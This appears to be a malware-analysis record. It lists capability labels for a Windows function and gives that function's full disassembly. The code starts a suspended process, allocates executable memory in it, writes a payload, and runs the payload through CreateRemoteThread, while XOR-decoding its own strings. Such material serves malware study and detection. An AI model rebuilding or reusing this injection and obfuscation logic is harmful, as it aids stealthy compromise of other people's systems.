Function at 0x4015fb
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Inject thread
Resume thread
Spawn thread to rwx shellcode
Terminate process
Use process replacement

Disassembly:
push ebp
xor eax, eax
mov ecx, 0x10
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x58]
push ebx
sub esp, 0xac
mov dword [ebp - 0x5c], 0x44
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x6c]
mov ecx, 4
rep stosd dword es:[edi], eax
mov dword [esp], 0x4d3024
call fcn.00413690
mov dword [esp], 0x4d3014
mov ebx, eax
call fcn.00413690
cmp byte [ebx], 0
mov edx, eax
jne 0x401663
xor eax, eax
mov esi, str.:_
mov ecx, 8
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
lea eax, [edx + 0xa]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x4016ba
lea ecx, [edx + 0xa]
mov esi, 0x79
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x401680
inc eax
jmp 0x4016ac
lea edi, [eax + 2]
cmp ebx, edi
jne 0x40168c
add eax, 2
jmp 0x4016ac
cmp ebx, eax
jne 0x401696
mov eax, esi
xor byte [ecx], al
jmp 0x4016b2
lea edi, [eax + 4]
cmp ebx, edi
jne 0x4016a2
add eax, 3
jmp 0x4016ac
lea edi, [eax + 5]
cmp ebx, edi
jne 0x4016b2
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x401671
inc esi
inc ecx
mov eax, esi
cmp al, 0x99
jne 0x401671
lea eax, [ebp - 0x6c]
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x5c]
mov dword [esp + 0x20], eax
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], eax
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], eax
xor eax, eax
mov dword [esp + 0x14], 4
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
sub esp, 0x28
test eax, eax
jne 0x4017e0
mov dword [esp], 0x4d3044
call fcn.00413690
mov dword [esp], 0x4d3034
mov ebx, eax
call fcn.00413690
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x7c], esi
jne 0x40174a
xor edi, edi
mov esi, 0x537bca
mov ecx, 0x17
mov dword [eax], edi
mov dword [eax + 4], edi
mov dword [eax + 8], edi
lea edi, [eax + 0xa]
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x4017a2
lea ecx, [eax + 0xa]
mov esi, 0x79
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x401767
inc edx
jmp 0x401793
lea edi, [edx + 2]
cmp ebx, edi
jne 0x401773
add edx, 2
jmp 0x401793
cmp ebx, edx
jne 0x40177d
mov ebx, esi
xor byte [ecx], bl
jmp 0x401799
lea edi, [edx + 4]
cmp ebx, edi
jne 0x401789
add edx, 3
jmp 0x401793
lea edi, [edx + 5]
cmp ebx, edi
jne 0x401799
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x401758
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x90
jne 0x401758
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x7c]
mov dword [esp], 0x4d4a40
mov dword [esp + 4], eax
call fcn.004c5c20
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, ebx
mov dword [esp], eax
call fcn.0047f1d0
push ebx
mov ecx, eax
mov dword [esp], 0x4c4450
call fcn.00401592
push esi
jmp 0x4018ff
mov dword [esp + 0x10], 0x40
xor ecx, ecx
mov dword [esp + 0xc], 0x3000
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x6c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
sub esp, 0x14
mov dword [ebp - 0x7c], eax
test eax, eax
jne 0x401906
mov dword [esp], 0x4d3064
call fcn.00413690
mov dword [esp], 0x4d3054
mov ebx, eax
call fcn.00413690
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x7c], esi
jne 0x401858
xor edx, edx
mov esi, 0x537b8a
lea edi, [eax + 0xa]
mov ecx, 6
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x4018b0
lea ecx, [eax + 0xa]
mov esi, 0x7a
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x401875
inc edx
jmp 0x4018a1
lea edi, [edx + 2]
cmp ebx, edi
jne 0x401881
add edx, 2
jmp 0x4018a1
cmp ebx, edx
jne 0x40188b
mov ebx, esi
xor byte [ecx], bl
jmp 0x4018a7
lea edi, [edx + 4]
cmp ebx, edi
jne 0x401897
add edx, 3
jmp 0x4018a1
lea edi, [edx + 5]
cmp ebx, edi
jne 0x4018a7
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x401866
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x92
jne 0x401866
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x7c]
mov dword [esp], 0x4d4a40
mov dword [esp + 4], eax
call fcn.004c5c20
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, ebx
mov dword [esp], eax
call fcn.0047f1d0
push edi
mov ecx, eax
mov dword [esp], 0x4c4450
call fcn.00401592
push eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x6c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
push esi
xor eax, eax
jmp 0x401cd6
xor ebx, ebx
mov dword [esp + 0x10], ebx
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x7c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x6c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
sub esp, 0x14
test eax, eax
jne 0x4019da
mov dword [esp], 0x4d3084
call fcn.00413690
mov dword [esp], 0x4d3074
mov ebx, eax
call fcn.00413690
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x80], esi
jne 0x401979
xor ecx, ecx
mov esi, 0x537b4a
lea edi, [eax + 0xa]
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov ecx, 7
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x401b6b
lea ecx, [eax + 0xa]
mov esi, 0x7a
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x40199a
inc edx
jmp 0x4019c6
lea edi, [edx + 2]
cmp ebx, edi
jne 0x4019a6
add edx, 2
jmp 0x4019c6
cmp ebx, edx
jne 0x4019b0
mov ebx, esi
xor byte [ecx], bl
jmp 0x4019cc
lea edi, [edx + 4]
cmp ebx, edi
jne 0x4019bc
add edx, 3
jmp 0x4019c6
lea edi, [edx + 5]
cmp ebx, edi
jne 0x4019cc
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x40198b
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x96
jne 0x40198b
jmp 0x401b6b
mov dword [esp], 0x4d30a4
call fcn.00413690
mov dword [esp], 0x4d3094
mov ebx, eax
call fcn.00413690
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x80], esi
jne 0x401a1b
xor edx, edx
mov esi, 0x537b0a
lea edi, [eax + 0xa]
mov ecx, 0x2a
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x401a73
lea ecx, [eax + 0xa]
mov esi, 0x7b
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x401a38
inc edx
jmp 0x401a64
lea edi, [edx + 2]
cmp ebx, edi
jne 0x401a44
add edx, 2
jmp 0x401a64
cmp ebx, edx
jne 0x401a4e
mov ebx, esi
xor byte [ecx], bl
jmp 0x401a6a
lea edi, [edx + 4]
cmp ebx, edi
jne 0x401a5a
add edx, 3
jmp 0x401a64
lea edi, [edx + 5]
cmp ebx, edi
jne 0x401a6a
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x401a29
inc esi
inc ecx
mov ebx, esi
cmp bl, 0xa5
jne 0x401a29
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x80]
mov dword [esp], 0x4d4b80
mov dword [esp + 4], eax
call fcn.004c5c20
mov dword [esp], 0x4c4450
mov ecx, eax
call fcn.00401592
push eax
xor eax, eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x7c]
mov dword [esp + 0xc], eax
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x6c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
sub esp, 0x1c
mov dword [ebp - 0x80], eax
test eax, eax
jne 0x401bcd
mov dword [esp], 0x4d30c4
call fcn.00413690
mov dword [esp], 0x4d30b4
mov ebx, eax
call fcn.00413690
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x80], esi
jne 0x401b13
xor edi, edi
mov esi, 0x537aca
mov ecx, 7
mov dword [eax], edi
mov dword [eax + 4], edi
mov dword [eax + 8], edi
lea edi, [eax + 0xa]
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x401b6b
lea ecx, [eax + 0xa]
mov esi, 0x7b
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x401b30
inc edx
jmp 0x401b5c
lea edi, [edx + 2]
cmp ebx, edi
jne 0x401b3c
add edx, 2
jmp 0x401b5c
cmp ebx, edx
jne 0x401b46
mov ebx, esi
xor byte [ecx], bl
jmp 0x401b62
lea edi, [edx + 4]
cmp ebx, edi
jne 0x401b52
add edx, 3
jmp 0x401b5c
lea edi, [edx + 5]
cmp ebx, edi
jne 0x401b62
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x401b21
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x97
jne 0x401b21
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x80]
xor esi, esi
mov dword [esp], 0x4d4a40
mov dword [esp + 4], eax
call fcn.004c5c20
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, ebx
mov dword [esp], eax
call fcn.0047f1d0
push ecx
mov ecx, eax
mov dword [esp], 0x4c4450
call fcn.00401592
push ebx
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], esi
mov eax, dword [ebp - 0x7c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x6c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
sub esp, 0x10
jmp 0x4018e9
mov dword [esp], 0x4d30e4
call fcn.00413690
mov dword [esp], 0x4d30d4
mov ebx, eax
call fcn.00413690
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x7c], esi
jne 0x401c0e
xor edx, edx
mov esi, 0x537a8a
lea edi, [eax + 0xa]
mov ecx, 0xc
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x401c66
lea ecx, [eax + 0xa]
mov edi, 0x7b
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea esi, [edx + 1]
cmp ebx, esi
jne 0x401c2b
inc edx
jmp 0x401c57
lea esi, [edx + 2]
cmp ebx, esi
jne 0x401c37
add edx, 2
jmp 0x401c57
cmp ebx, edx
jne 0x401c41
mov ebx, edi
xor byte [ecx], bl
jmp 0x401c5d
lea esi, [edx + 4]
cmp ebx, esi
jne 0x401c4d
add edx, 3
jmp 0x401c57
lea esi, [edx + 5]
cmp ebx, esi
jne 0x401c5d
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x401c1c
inc edi
inc ecx
mov ebx, edi
cmp bl, 0xab
jne 0x401c1c
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x7c]
mov dword [esp], 0x4d4b80
mov dword [esp + 4], eax
call fcn.004c5c20
mov ebx, eax
mov eax, dword [ebp - 0x80]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetThreadId]
mov ecx, ebx
push edx
mov dword [esp], eax
call fcn.0047f1d0
push ecx
mov ecx, eax
mov dword [esp], 0x4c4450
call fcn.00401592
push ebx
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov eax, dword [ebp - 0x80]
mov dword [esp], eax
call ebx
push edi
mov eax, dword [ebp - 0x6c]
mov dword [esp], eax
call ebx
push eax
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call ebx
push eax
mov al, 1
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret